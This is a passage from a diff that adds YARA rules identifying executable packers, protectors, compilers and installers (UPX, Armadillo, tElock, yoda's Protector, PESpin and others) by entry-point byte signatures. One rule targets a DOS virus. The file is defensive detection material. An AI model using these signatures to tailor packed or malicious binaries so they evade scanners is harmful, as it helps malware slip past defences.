+		$0 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+	condition:
+		$0
+}
+rule _Armadillo_v184_
+{
+	meta:
+		description = "Armadillo v1.84"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Extended_Datafile_Version_
+{
+	meta:
+		description = "File Analyzer Extended Datafile Version"
+	strings:
+		$0 = {23 03 45 58 54 44 ?? ?? 3A 03}
+	condition:
+		$0
+}
+rule _UPX_v062_
+{
+	meta:
+		description = "UPX v0.62"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Hasp_dongle_Alladin_
+{
+	meta:
+		description = "Hasp dongle (Alladin)"
+	strings:
+		$0 = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_36x__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.6x -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_006__by_Dmitry_AND_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.06 - by Dmitry AND Andreev"
+	strings:
+		$0 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v141_
+{
+	meta:
+		description = "ACProtect v1.41"
+	strings:
+		$0 = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_DLL_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_108_
+{
+	meta:
+		description = "ASPack 1.08"
+	strings:
+		$0 = {90 90 90 75 01 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Stranik_13_ModulaCPascal_
+{
+	meta:
+		description = "Stranik 1.3 Modula/C/Pascal"
+	strings:
+		$0 = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ChSfx_small_v11_
+{
+	meta:
+		description = "ChSfx (small) v1.1"
+	strings:
+		$0 = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v2018_
+{
+	meta:
+		description = "Inno Setup Module v2.0.18"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+	condition:
+		$0
+}
+rule _Vx_NcuLi1688_
+{
+	meta:
+		description = "Vx: Ncu-Li.1688"
+	strings:
+		$0 = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _VPacker__ttui_
+{
+	meta:
+		description = "VPacker -> ttui"
+	strings:
+		$0 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_WinFax_PRO_83_Coverpage_Quick_CoverPage_
+{
+	meta:
+		description = "Symantec WinFax PRO 8.3 Coverpage Quick CoverPage"
+	strings:
+		$0 = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_ASPack_211d__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake ASPack 2.11d) -> emadicius"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+	condition:
+		$0
+}
+rule _nSpack_V2x__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.x -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+	condition:
+		$0
+}
+rule _tElock_v042_
+{
+	meta:
+		description = "tElock v0.42"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_ASPack_212__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake ASPack 2.12) -> emadicius"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Exe_Stealth_275a__WebtoolMaster_
+{
+	meta:
+		description = "Exe Stealth 2.75a -> WebtoolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+		$1 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v252b2_
+{
+	meta:
+		description = "Armadillo v2.52b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_110_
+{
+	meta:
+		description = "Ady's Glue 1.10"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_Neolite_20__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake Neolite 2.0) -> emadicius"
+	strings:
+		$0 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31}
+	condition:
+		$0
+}
+rule _Thinstall_Virtualization_Suite_30xx__Jitit_Software_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.0xx -> Jitit Software"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 00 00 00 01 68 00 ?? 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG 1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+	condition:
+		$0
+}
+rule _Obsidium_V1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PrincessSandy_v10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy v1.0 eMiNENCE Process Patcher Patch"
+	strings:
+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 57 6A 00 E8 CE 00 00 00 85 C0 74 78 BD 50 C3 00 00 8B 3D 04 20 40 00 8B 07 8D 3C 07 83 C7 04 89 3D 04 20 40 00 8B 0F 83 C7 04 8B 1F 83 C7 04 4D 85 ED 74 57 60 6A 00 51 68 5C 20 40 00 53 FF 35 4C 20 40 00 E8 93 00 00 00 85 C0 61 74 E1 8B C1 60 BE 5C 20 40 00 F3 A6 74 03 61 EB D2 60 6A 00 50 57 53 FF 35 4C 20 40 00 E8 7A 00 00 00 85 C0 74 20 61 83 3C 07 00 74 2D 03 F8 EB A8 B8 5E 21 40 00 EB 13 B8 7C 21 40 00 EB 0C B8 9E 21 40 00 EB 05 B8 CF 21 40 00 6A 00 68 56}
+	condition:
+		$0
+}
+rule _Unknown_encryptor_2__PK7Tjrvx_
+{
+	meta:
+		description = "Unknown encryptor (2) - PK7Tjrvx"
+	strings:
+		$0 = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__Ashkibiz_Danehlar_
+{
+	meta:
+		description = "yoda's Protector 1.02 -> Ashkibiz Danehlar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_v1x2000_
+{
+	meta:
+		description = "Alloy v1.x.2000"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 DLL] -> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V30X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.0X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_113002006_Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.300.2006 Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NakedPacker_10__by_BigBoote_
+{
+	meta:
+		description = "NakedPacker 1.0 - by BigBoote"
+	strings:
+		$0 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00}
+		$1 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _tElock_v098__tHE_EGOiSTE_h_
+{
+	meta:
+		description = "tElock v0.98 -> tHE EGOiSTE (h)"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11X_Method2__bagie__Sign_by_fly_
+{
+	meta:
+		description = "SimplePack V1.1X (Method2) -> bagie ! Sign by fly"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+	condition:
+		$0
+}
+rule _PECompact_v092_
+{
+	meta:
+		description = "PECompact v0.92"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _PureBasic_4x__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x -> Neil Hodgson"
+	strings:
+		$0 = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_225__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.25 - by Jan Vorel"
+	strings:
+		$0 = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98}
+		$1 = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Shield_v17_
+{
+	meta:
+		description = "Exe Shield v1.7"
+	strings:
+		$0 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v50_KOL_
+{
+	meta:
+		description = "Borland Delphi v5.0 KOL"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_29__North_Star_
+{
+	meta:
+		description = "NsPack 2.9 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+	condition:
+		$0 at entrypoint
+}
+rule _pex_V099__params_
+{
+	meta:
+		description = "pex V0.99 -> params"
+	strings:
+		$0 = {E9 F5 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WinKript_10__Mr_Crimson_h_
+{
+	meta:
+		description = "WinKript 1.0 -> Mr. Crimson (h)"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PESpin_v11__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD A3 5D 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13__v14__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3 / v1.4 --> Vaska"
+	strings:
+		$0 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+		$1 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v131_
+{
+	meta:
+		description = "FSG v1.31"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Ninja_v10__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "PE Ninja v1.0 -> +DzA kRAker TNT"
+	strings:
